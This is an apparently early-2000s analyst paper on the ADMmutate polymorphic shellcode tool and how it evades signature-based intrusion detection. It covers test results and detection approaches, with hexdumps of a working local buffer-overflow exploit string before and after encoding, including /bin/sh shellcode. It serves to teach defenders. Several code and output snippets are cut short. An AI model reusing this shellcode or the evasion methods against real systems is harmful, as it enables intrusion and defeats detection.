The primary goal of this analysis is to inform the intrusion detection analyst that “polymorphic shellcode” does exist and may currently be in use by attackers to compromise systems. The second goal is to demonstrate the use of the tool and how it can be integrated into existing or new exploits to change the signature of an exploit as seen by a network IDS.
Fundamentally, there are two approaches to network intrusion detection: signature detection, and anomaly detection. The signature detection approach utilizes well-known signatures for network traffic to identify potentially malicious traffic. This is similar to the approach that most anti-virus products work. The anomaly detection approach utilizes a previous history of network traffic to search for patterns that are abnormal, which would indicate an intrusion. Most commercial intrusion detection systems utilize the signature detection approach for speed, ease of use by the analyst, and minimization of false positives.
Within the signature detection approach, systems typically examine traffic using three methods:
As a result, crackers have developed several techniques that allow an attacker to evade such detection. A common trick to evade unsophisticated IDS systems is to obfuscate an HTTP request by using directory “indirection”. For instance, these HTTP GET requests are the same but an IDS system might only alarm on the first request:
In early 2001, a new tool was released that allows an attacker to obfuscate any buffer overflow attack against any service. This tool is called ADMmutate and was written by K2. Interestingly, K2 has affiliations with ADM, the group w00w00, and the Honeynet project. The primary purpose of this tool is to change an exploit signature every time that it is executed, resulting in “polymorphic shellcode”.
The remainder of this analysis will briefly introduce the concepts of buffer overflow attacks and then explore the techniques that ADMmutate uses to evade detection. Finally, there will be an analysis of proposed techniques to detect “polymorphic shellcode”.
Once an attacker has found a privileged program that has a buffer overflow error, they attempt to construct a buffer overflow attack. The construction of a working exploit is not a trivial task and generally requires advanced knowledge of assembly language, processor architecture, and C programming. In simple form, a buffer overflow exploit contains the following components :
Above, you can see the NOOP “sled” in the hex output (on the left). The value 0x90 is the most common NOOP instruction for the Intel processor. Many IDS systems will alarm when they see a series of 0x90 bytes in a packet. The second very noticeable aspect of the above exploit attempt is that the string “/bin/sh” is clearly visible in the ASCII decode (on the right). This is part of the “shellcode” of the exploit and is a dead giveaway to the IDS analyst that the attacker is attempting an exploit that launches a command-line shell.
The ADMmutate tool attempts to obfuscate the detection of the NOOP sled and the shellcode. IDS systems that trigger on the NOOP sled and the shellcode specifics would have a hard time alarming if they were encoded differently prior to sending them to the each target. The construction of such a tool is fundamentally simple – build an encoding engine that wraps the exploit prior to sending it over the network. Then, once the exploit has triggered on the remote machine, jump to the decode engine (that has to be sent with the exploit), decode the real exploit, and execute the original shellcode.
So the obvious answer to defeat this approach is to start looking for the decode engine on the network. However, the decode engine is also polymorphic and looks differently each time the exploit is run. K2 admits to using some tricks of the old virus writers by employing this technique of polymorphism.
So let’s examine how polymorphic shellcode would be constructed, with a little help from K2’s README file . The typical buffer overflow exploit is constructed as a string of hexadecimal values in the following form:
[NNNN NNNN NNNN][SS SS][RR RR]First, the NOOP instructions are replaced with any functional equivalents. K2 states that there are at least 55 suitable replacement NOOP instructions for the Intel architecture. This makes the work in finding the NOOP sled much more difficult for the IDS engine because it has to look more closely and deeply into the packet contents, which negatively impacts performance of the system. Next, the shellcode is encoded using XOR. The value to XOR the shellcode is generated using a “skeleton encoder” that is architecture independent and included in the source distribution. K2 has infused several advanced techniques to make the XOR key unique upon each execution. Finally, the decode engine is built in an effort to avoid analysis and employs several techniques to “modulate” itself by varying the assembly instructions to accomplish the same result in several different ways. Additionally, out-of-order decoding has been implemented to vary the signature of the decoding engine even more.
The tool provides another great feature to exploit writers by eliminating banned characters from the exploit string. For instance, some exploits require that a NULL character cannot be sent in the middle of the exploit or that the entire exploit contain all ASCII characters. ADMmutate accounts for this in the construction of the final exploit and removes all these banned characters.
There are a couple of methods to utilizing the ADMmutate tool. The first approach is to code it into the exploit. K2 has provided an API that allows an exploit writer to integrate polymorphism directly into the exploit code. Here are the relevant lines of code necessary for Intel:
#include "ADMmutapi.h"That doesn’t seem like too much work for the average exploit writer. The next approach is to utilize the included m7 exploit filter. The m7 program accepts shellcode on standard input and will output encoded shellcode. This approach possibly takes a little more skill, but is incredibly functional because existing exploits can be piped into the filter without being re-written.
There are a couple of sample exploits included in the ADMmutate distribution so I decided to give them a shot in my test lab. My first attempt was to overflow a local SUID program to elevate my privileges from a normal user to root. A simple program called “vulnerable” was included that has a buffer overflow when a command-line argument longer than 1024 bytes is provided. A successful buffer overflow against a SUID root program will provide a root shell to the attacker. Here is the output of this local attack:
slackware-7$ idThis was fairly straightforward – “vulnerable” is the SUID program that was passed the output of the “exp” program. Here’s a hexdump output of the buffer overflow string (without polymorphism) that was passed to the “vulnerable” program:
00001f0 9090 9090 22eb 895e 89f3 83f7 07c7 c031 ....."^.......1.
0000200 89aa 89f9 abf0 fa89 c031 b0ab 0408 cd03 ........1.......
0000210 3180 89db 40d8 80cd d9e8 ffff 2fff 6962 .1...@......./bi
0000220 2f6e 6873 f822 bfff f822 bfff f822 bfff n/sh"..."..."...
0000230 f822 bfff f822 bfff f822 bfff f822 bfff "..."..."..."...
00004a0 f822 bfff f822 bfff f822 bfff 9090 9090 "..."...".......
00004b0 fa48 bfff H...
In this decode, we find the familiar NOOP (0x90) sled at the beginning of the string. The hexdump program removes repetitive lines and replaces them with a “*” line. So, we actually have 31 lines (500 bytes) of NOOP sled that is represented by one line. Following the NOOP sled, is 48 bytes of shellcode including the exec of /bin/sh. Next comes a repetition of the return address for 26 lines. This format of this exploit is similar to a normal exploit that would be seen attacking a network daemon.
Following is the shellcode for the same attack after it has been encoded with ADMmutate. In this example, we find that the NOOP sled at the beginning has been replaced with substitute NOOP patterns for the Intel 32-bit architecture. Additionally, the shellcode portion of the exploit has been encoded and we don’t find the “/bin/sh” string anywhere. Finally, the return address (which is different for each target) is still repeated to the end of the exploit string.
0000010 3792 4997 6059 5a5d 979c 9199 9242 9349 .7.IY`]Z....B.I.
0000020 495e 5b37 4740 5d4f 4f99 975f 4492 3797 ^I7[@GO].O_..D.7
0000030 4297 9e93 4598 404a 9696 4652 5150 5e4f .B...EJ@..RFPQO^
0000040 454d 99fc 5251 5042 9b37 4042 4a95 4459 ME..QRBP7.B@.JYD
0000050 4592 4998 935f 275f 985d f84e 4991 fc96 .E.I_._'].N..I..
0000060 9796 4637 5b3f 9751 9754 9f5a 9543 4c9e ..7F?[Q.T.Z.C..L
0000070 4740 9c96 499f 5652 934e 5355 479b 91f8 @G...IRVN.US.G..
0000080 48fc 5d60 4742 9755 4450 4441 4697 5697 .H`]BGU.PDAD.F.V
0000090 5b52 494f 434d 5899 f827 9957 4346 9796 R[OIMC.X'.W.FC..
00000a0 404c 4a45 6040 404c 4957 5798 99f9 569b L@EJ@`L@WI.W...V
00000b0 4145 96fc 5140 4c56 f946 9348 4f4d f8f8 EA..@QVLF.H.MO..
00000c0 2f59 4c46 9647 4747 9e48 5137 4142 5b4d Y/FLG.GGH.7QBAM[
00000d0 545f 55f9 5e56 4191 9249 519e 559e 6099 _T.UV^.AI..Q.U.`
00000e0 5a27 5f49 4727 434c 4b51 4495 5b95 2796 'ZI_'GLCQK.D.[.'
00000f0 9f27 9143 585b 4a56 5497 549f 4f5d 9599 '.C.[XVJ.T.T]O..
0000100 9f57 9c45 3f92 5991 9b2f 379c 9196 574e W.E..?.Y/..7..NW
0000110 275f 5b49 9b42 4152 4897 474b 3f9b 4af9 _'I[B.RA.HKG.?.J
0000120 4d45 544f 5146 554b 4050 4847 9c49 f54a EMOTFQKUP@GHI.J.
0000130 5d9f 5997 4bf5 5e43 6091 4a44 48f9 5357 .].Y.KC^.`DJ.HWS
0000140 935e 5e49 4297 9f49 4752 4bf5 9f4e 2ff9 ^.I^.BI.RG.KN../
0000150 434d 4158 5d42 4992 505e f556 4443 60f5 MCXAB].I^PV.CD.`
0000160 5141 fc45 9860 4e41 9941 9e2f 474d 5a9c AQE.`.ANA./.MG.Z
0000170 4452 4352 9749 503f 2f54 9c37 425f 5b9f RDRCI.?PT/7._B.[
0000180 4a49 519e 9253 5349 9698 4949 4198 5eeb IJ.QS.IS..II.A.^
0000190 3cb0 58f5 8396 55c0 979e c987 c031 9791 .<.X...U....1...
00001a0 6b3f 37c0 3968 d5be 5b09 4798 c06b b109 ?k.7h9...[.Gk...
00001b0 4f0d 8390 2ee0 c033 e883 8bef 0906 21d8 .O....3........!
00001c0 f71e 2116 8306 24f8 83fc 9ec0 4096 f596 ...!...$.....@..
00001d0 f53f c683 2f01 c883 f8c5 969b 9640 c083 ?..../......@...
00001e0 3302 96c0 9640 e883 e256 90d0 06eb a0e8 .3..@...V.......
00001f0 ffff a9ff f755 b057 5c4d bafe d279 f938 ....U.W.M\..y.8.
0000200 5c14 b0f0 7e4e c380 158f 89a2 d1b6 f40a .\..N~..........
0000210 e43e b0d2 9566 b9c4 0c56 c6f6 fa41 506b >...f...V...A.kP
0000220 fad0 517a 2d9c bff6 f822 bfff f822 bfff ..zQ.-.."..."...
0000230 f822 bfff f822 bfff f822 bfff f822 bfff "..."..."..."...
00004a0 f822 bfff f822 bfff f822 bfff 9090 9090 "..."...".......
00004b0 fa48 bfff 4111 H....A
The above string changed significantly each time the program was run. The NOOP sled, encoded shellcode, and the decode engine varied considerable upon each execution. Thus, the polymorphic aspects of the code seemed to be working. Additionally, the tool provided a success rate of 75% when polymorphism was enabled. This is pretty good, considering the fact that the shellcode was written for a newer Linux kernel than I was running.
Next, I attempted to exploit a remote program so that the network traffic could be observed. Unfortunately, I didn’t have much luck in successfully exploiting a daemon remotely. The ADMmutate distribution includes a remote overflow for a fairly old QPOP daemon (2.4b2), which I couldn’t find available for download anywhere.
The distribution also includes a mutated-capable version of the public LSD exploit for the Solaris snmpXdmi (SPARC Solaris 7 and 8). So I setup my lab with the latest version of Snort, TCPdump, and an evaluation version of Enterasys Dragon to see how the IDS systems would react. Unfortunately, the exploit didn’t quite work for me despite several hours of trial and error. However, the exploit attempt did work without being run in polymorphic mode. My best guess is that the polymorphic version actually completed 100% on the remote side. But for some reason the connection was getting closed on the remote side before delivering the shell to my console. The amount of data transferred during both exploits confirms this hypothesis.
Snort detected both intrusion attempts (with and without polymorphism), even though the polymorphism attempt didn’t provide a root shell. This is probably because Snort is alerting on an RPC parameter, instead of a component of the actual shell-code. Here was the alert from Snort:
[**] [1:569:2] RPC snmpXdmi overflow attempt [**]The evaluation version of Dragon that I was using didn’t have a signature for the snmpXdmi exploit and therefore wasn’t able to detect the specific exploit. However, it did alarm just after the exploit was completed, because the exploit code issued a “uname –a” command upon opening the root shell. The “uname –a” command on a high port is a signature in Dragon and generated the following alert:
My goal was to demonstrate that buffer overflow exploits could be successfully hidden from IDS systems that do signature matching against specific strings found in exploits. Unfortunately, my skill in assembly and C programming is limited and I wasn’t able to determine where the demonstrations where going wrong. However, the examination of the shellcode mutations for the local exploit shows that the NOOP sled and shellcode signatures do change greatly with ADMmutate.
As a consolation to the reader, K2 presented this tool at Defcon 9 in July 2001. I was present at this talk where he showed a successful exploit with and without polymorphism. The network IDS that he successfully evaded was the latest version (at the time) of ISS RealSecure. Before mutation, RealSecure successfully alarmed when it saw the exploit. But after mutation, RealSecure did not alarm.
Given all the efforts to remain stealthy, can an exploit encoded with ADMmutate be reliably detected? The best approaches for detection seem to be in looking for the NOOP sled and looking for the decode engine.
Since there are a limited number of NOOP substitutions that can occur for a specific architecture, there is a chance in detecting a pattern in the NOOP sled. Here is K2’s response to this possibility from the README file:
Some will say that in a 1K overflow where approx 700bytes represents a 55/256 selection of possible codes, this could be a means for detection. However, I do not believe an IDS could do this very effectively, IA32 instructions are variable length (1->16bytes) and it is not a simple matter of doing byte-per-byte analysis of the code they will have to decode the stream (bitwise), and thanks to CISC encodings there are many branch's in this logic, leading to increased processing overhead in the detection process. The Snort folks feel that the SPADE statistical anomaly detection engine can flush out some attacks encoded with ADMmutate. Here is an excerpt from the Snort FAQ :
1.10 --faq-- --snort--Unfortunately, the source code for 2.0 isn’t released yet so it’s difficult to tell what types of defenses are being worked on. The folks at Dragon are also working on detection of polymorphic shell code. I had an e-mail exchange with Ron Gula, the original founder of Network Security Wizards (now part of Enterasys). Ron stated that Dragon 5.1 has 50 updated shellcode signatures that have been alarming on exploits that have been “mutated”. Additionally, they are having some success in detecting the obfuscated NOOP sled.
Next Generation Security Technologies recently announced the availability of a product to detect and eliminate buffer overflow attacks against web servers. The company published a white paper entitled “Polymorphic Shellcodes vs. Application IDSs" . The product they have developed seems to be an application-level gateway that inspects traffic destined to web servers. Content that is known to be malicious and content that appears like polymorphic shellcode will not be forwarded to back-end servers. The technique utilized by this program to detect polymorphic shellcode is to look at approximately 50-60 bytes of traffic and determine if it sees a mutated NOOP sled. Since this is a version 1.0 release, the community has yet to evaluate it for its merits.
As demonstrated by the fairly slow movement of IDS vendors, the problem is fairly difficult to solve and requires lots of CPU cycles. These CPU cycles are a valuable resource to IDS systems that are trying to keep up with fast networks. Overall, I think it will take a little more time for commercial IDS solutions to be able to reliably detect polymorphic shell code, although it seems like some are making good strides in this direction.
ADMmutate is a powerful tool and appears to be reasonably easy to integrate into older exploits and new exploits in development. Any developer that is able to write an exploit from the ground up should be able to make it polymorphic, using the API. The tool has been written with stealth in mind and appears to operate as advertised. Shellcode was indeed obfuscated in the tests that I was able to perform. However, the IDS vendors are working on a solution to detect this tool and may have greater success in the next major releases of their software. Unfortunately the only protection against this attack is to ensure that your hosts are not vulnerable to the buffer overflow attack in the first place.
The primary goal of this analysis was to inform the intrusion detection analyst that polymorphic shellcode does exist and may currently be in use by attackers. The second goal was to demonstrate the use of the tool and how it can be integrated into existing or new exploits to change the signature of an exploit as seen by a network IDS.
So the next time that you see a suspicious detect but don’t find the telltale “/bin/sh” string, you should take a closer look at the context of the attack. Are there recent vulnerabilities against the service being attacked? Was the service probed previously? How much data was sent to the target host? These questions may be your only guide in determining whether the service was successfully exploited.
 Aleph1. Smashing the Stack For Fun and Profit. Phrack Magazine. Volume 49, File 14 of 16. Nov 1996. URL: http://www.phrack.com/phrack/49/P49-14 (Jan 2002)
 K2. ADMmutate README. ADMmutate source code distribution. Version 0.8.4. URL: http://www.ktwo.ca/c/ADMmutate-0.8.4.tar.gz (Jan 2002)
 Roesch, Martin. Snort FAQ. Snort source code distribution. Version 1.8.3. URL: http://www.snort.org/releases/snort-1.8.3.tar.gz (Jan 2002)
 Next Generation Security Technologies. "Polymorphic Shellcodes vs. Application IDSs." 21 Jan 2002. URL: http://www.ngsec.com/docs/polymorphic_shellcodes_vs_app_IDSs.PDF (Jan 2002)